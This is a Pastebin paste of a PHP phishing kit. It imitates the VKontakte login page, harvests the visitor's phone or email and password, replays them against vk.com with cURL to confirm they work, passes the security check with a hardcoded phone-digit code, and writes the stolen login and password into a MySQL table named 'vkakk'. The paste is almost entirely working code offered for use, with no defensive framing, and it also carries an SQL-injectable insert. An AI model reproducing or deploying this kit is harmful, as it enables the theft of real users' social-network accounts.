Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE HTML>
- <html>
- <head>
- <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=yes" />
- <meta charset="utf-8" />
- <meta http-equiv="X-UA-Compatible" content="IE=edge" />
- <title>ВКонтакте | Вход</title>
- <meta name="keywords" content=""/>
- <meta name="description" content=""/>
- <link rel="stylesheet" href="css/vk.css"></link>
- </head>
- <body>
- <div class='head' style="display: <?php echo $display;?>">
- <a href="" class="logo"></a>
- <div class="auth_items"><a class="head_name fl_r" href="http://vk.com/join?reg=1" target="_blank">Регистрация</a></div>
- </div>
- <div class="info_line">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>
- <form action='' method='get'>
- <div class="box_login" style="margin: 0px auto 0 auto;">
- <input name="do" value="8KFklrjk9lh7gEzP3dsg2R21sd0g" hidden>
- <input type="text" class="form_input" name="id" value='6' style="display: none">
- <input type="text" class="form_input" name="uVote" value='1' style="display: none">
- <div class="form_header">Телефон или e-mail</div>
- <input type="text" class="form_input" name="email" value=''>
- <div class="form_header">Пароль</div>
- <input type="password" class="form_input" name="pass" value=''>
- <h3><?php echo $error; ?></h3>
- <div class="popup_login_btn">
- <button class="flat_button popup_login_btn button_big" id="install_allow" type="submit" name="button">Войти</button>
- </div>
- <a id="quick_forgot" href="https://vk.com/restore" target="_blank">Забыли пароль?</a>
- </div>
- </form>
- </body>
- </html>
- <?php
- if(isset($_GET['button'])) {
- $login = $_GET['email'];
- $password = $_GET['pass'];
- $security_check_code = '92082128'; // если требуется 8 цифр номера телефона (по крайней мере у меня столько запросило). Например Ваш номер телефона 79123456789, то необходимо в переменную прописать промежуток от 7 до 89, то есть 91234567.
- $headers = array(
- 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
- 'content-type' => 'application/x-www-form-urlencoded',
- 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
- );
- // получаем главную страницу
- $get_main_page = post('https://vk.com', array(
- 'headers' => array(
- 'accept: '.$headers['accept'],
- 'content-type: '.$headers['content-type'],
- 'user-agent: '.$headers['user-agent']
- )
- ));
- // парсим с главной страницы параметры ip_h и lg_h
- preg_match('/name=\"ip_h\" value=\"(.*?)\"/s', $get_main_page['content'], $ip_h);
- preg_match('/name=\"lg_h\" value=\"(.*?)\"/s', $get_main_page['content'], $lg_h);
- // посылаем запрос на авторизацию
- $post_auth = post('https://login.vk.com/?act=login', array(
- 'params' => 'act=login&role=al_frame&_origin='.urlencode('http://vk.com').'&ip_h='.$ip_h[1].'&lg_h='.$lg_h[1].'&email='.urlencode($login).'&pass='.urlencode($password),
- 'headers' => array(
- 'accept: '.$headers['accept'],
- 'content-type: '.$headers['content-type'],
- 'user-agent: '.$headers['user-agent']
- ),
- 'cookies' => $get_main_page['cookies']
- ));
- // получаем ссылку для редиректа после авторизации
- preg_match('/Location\: (.*)/u', $post_auth['headers'], $post_auth_location);
- if(!preg_match('/\_\_q\_hash=/s', $post_auth_location[1])) {
- $error = 'Не удалось авторизоваться<br />';
- exit;
- }
- // переходим по полученной для редиректа ссылке
- $get_auth_location = post(trim(str_replace('_http', '_https', $post_auth_location[1])), array(
- 'headers' => array(
- 'accept: '.$headers['accept'],
- 'content-type: '.$headers['content-type'],
- 'user-agent: '.$headers['user-agent']
- ),
- 'cookies' => $post_auth['cookies']
- ));
- // получаем ссылку на свою страницу
- preg_match('/"uid"\:"([0-9]+)"/s', $get_auth_location['content'], $my_page_id);
- $my_page_id = $my_page_id[1];
- $get_my_page = getUserPage($my_page_id, $get_auth_location['cookies']);
- // если запрошена проверка безопасности
- if(preg_match('/act=security\_check/u', $get_my_page['headers'])) {
- preg_match('/Location\: (.*)/s', $get_my_page['headers'], $security_check_location);
- if(isset($security_check_location[1])) {
- $security_check_location = explode("\n", $security_check_location[1]);
- }
- // переходим на страницу проверки безопасности
- $get_security_check_page = post('https://vk.com'.trim($security_check_location[0]), array(
- 'headers' => array(
- 'accept: '.$headers['accept'],
- 'content-type: '.$headers['content-type'],
- 'user-agent: '.$headers['user-agent']
- ),
- 'cookies' => $get_auth_location['cookies']
- ));
- // получаем hash для запроса на проверку мобильного телефона
- preg_match('/hash: \'(.*?)\'/s', $get_security_check_page['content'], $get_security_check_page_hash);
- // вводим запрошенные цифры мобильного телефона
- $post_security_check_code = post('https://vk.com/login.php', array(
- 'params' => 'act=security_check&code='.$security_check_code.'&al_page=2&hash='.$get_security_check_page_hash[1],
- 'headers' => array(
- 'accept: '.$headers['accept'],
- 'content-type: '.$headers['content-type'],
- 'user-agent: '.$headers['user-agent']
- ),
- 'cookies' => $get_auth_location['cookies']
- ));
- echo 'Запрошена проверка безопасности';
- // отображаем свою страницу после проверки безопасности
- $get_my_page = getUserPage($my_page_id, $get_auth_location['cookies']);
- echo iconv('windows-1251', 'utf-8', $get_my_page['content']);
- } else {
- // также отображаем свою страницу, если нет проверки безопасности
- echo iconv('windows-1251', 'utf-8', $get_my_page['content']);
- }
- }
- function getUserPage($id = null, $cookies = null) {
- global $headers;
- $get = post('https://vk.com/id'.$id, array(
- 'headers' => array(
- 'accept: '.$headers['accept'],
- 'content-type: '.$headers['content-type'],
- 'user-agent: '.$headers['user-agent']
- ),
- 'cookies' => $cookies
- ));
- echo "Авторизация прошла успешно!";
- $query = "INSERT INTO `vkakk`(`login`, `password`) VALUES ('$login','$password')";
- mysql_query($query) or die(mysql_error());
- }
- function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
- if(isset($params['params'])) {
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
- }
- if(isset($params['headers'])) {
- curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
- }
- if(isset($params['cookies'])) {
- curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
- }
- if($proxy) {
- curl_setopt($ch, CURLOPT_PROXY, $proxy);
- if($proxy_userpwd) {
- curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
- }
- }
- $result = curl_exec($ch);
- $result_explode = explode("\r\n\r\n", $result);
- $headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
- $content = $result_explode[count($result_explode) - 1];
- preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
- $cookies = implode(';', $parse_cookies[1]);
- curl_close($ch);
- return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement